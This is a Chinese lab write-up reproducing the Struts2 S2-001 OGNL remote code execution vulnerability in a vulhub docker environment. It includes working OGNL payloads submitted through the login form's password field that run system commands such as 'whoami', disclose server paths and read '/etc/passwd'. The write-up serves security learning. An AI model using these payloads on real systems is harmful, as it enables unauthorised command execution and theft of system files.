资讯详情

struts2(s2-001)远程代码执行漏洞docker&&vulhub复现

本文仅作为个人学习记录和学习交流,禁止非法活动 《中华人民共和国网络安全法》

原理

当用户提交表单数据并验证失败时,后端将使用用户之前提交的参数值 OGNL 表达式 %{value} 分析,然后重新填充相应的表单数据。例如,在注册或登录页面时,未提交的后端通常会默认返回以前提交的数据,因为后端使用 %{value} 一次性执行提交的数据 OGNL 表达式分析可以直接结构 Payload 进行命令执行

环境准备

1、Centos 7 2、docker(保证已开启) 3、vulhub靶场

复现

一、服务建设

1、进入vulhub中s2-001所在目录

/usr/vulhub/struts2/s2-001(根据vulhub调整个人安装目录) 

![插入图片描述](https://img-blog.csdnimg.cn/104a3f9992d34ab6828ccd1a984a6b01.png

2.检查漏洞说明

cat README.zh-cn.md (README.md为英文版) 

![插入图片描述](https://img-blog.csdnimg.cn/19f6a260199e4d56b8c1b8b36ed858f5.png

3、docker容器启动

docker-compose up 

![插入图片描述](https://img-blog.csdnimg.cn/88a88af720f14b7ca3c052d917ab21ca.png

4、查看docker确定服务端口

docker ps 

在这里插入图片描述端口为8080

二、漏洞测试

1、访问http://192.168.92.138:8080/

ip:8080 

![插入图片描述](https://img-blog.csdnimg.cn/0effb3b01ad8439093cdae2655f3f4db.png

输入帐号密码,brup抓包

发送到repeter password字段改为payload

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 

发包后返回命令执行结果

![插入图片描述](https://img-blog.csdnimg.cn/cfdee0a23925425fb59da6158a4f88cb.png

POC && EXP

获取tomcat执行路径:

%{"tomcatBinDir{" @java.lang.System@getProperty("user.dir") "}"} 

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath(/),#response.flush(),#response.close()} 

执行任何命令(命令参数:new java.lang.String[]{"cat","/etc/passwd"}):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} 

标签: 继电器rs1a23d25

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台